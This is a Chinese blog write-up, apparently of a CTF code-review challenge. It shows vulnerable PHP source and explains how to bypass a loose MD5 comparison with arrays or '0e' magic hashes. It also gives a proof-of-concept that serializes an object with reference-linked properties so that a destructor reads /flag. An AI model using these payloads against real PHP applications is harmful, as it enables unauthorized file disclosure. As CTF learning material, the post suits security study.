BUU CODE REVIEW 1

最新推荐文章于 2024-08-24 12:43:50 发布

Y3pro

最新推荐文章于 2024-08-24 12:43:50 发布

阅读量3.1k

点赞数

分类专栏：刷题记录文章标签： web安全

本文链接：https://blog.csdn.net/Little_jcak/article/details/124233712

版权

刷题记录专栏收录该内容

11 篇文章 0 订阅

订阅专栏

本文探讨了PHP中的引用特性，如何利用它进行弱比较和序列化绕过，以及在破坏对象销毁时的安全风险。示例代码展示了如何通过传引用使变量值相等以满足特定条件，同时提到了MD5弱比较的绕过方法，如使用数组或0e特性。文章还包含了防止这类攻击的安全实践。

摘要由CSDN通过智能技术生成

写在前面：这道题传引用的知识点，让我意识到php机制的一些不同，php有着自己的语言特性
一篇详细介绍php引用特性的文章

<?php

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

md5绕过
可以看出是弱比较，通过数组绕过，或者0e性质绕过

md51[]=1&&md52[]=2

md51=QNKCDZO&&md52=240670108

传引用绕过
在进入destruct函数之前，通过传引用让两个值相等，从而满足强比较的条件

<?php
class BUU {
   public $correct;
   public $input;
}
$a = new BUU();
$a->input = &$a->correct;
echo serialize($a);

example.php 给出一个传引用的例子，可以看到$b 的值与$a的值相等，随着$a的改变而改变
在这里插入图片描述
poc.php

<?php
echo serialize($profile);
class BUU {
   public $correct='';
   public $input='';
}
$a = new BUU();
$a->input = &$a->correct;
echo serialize($a);
?>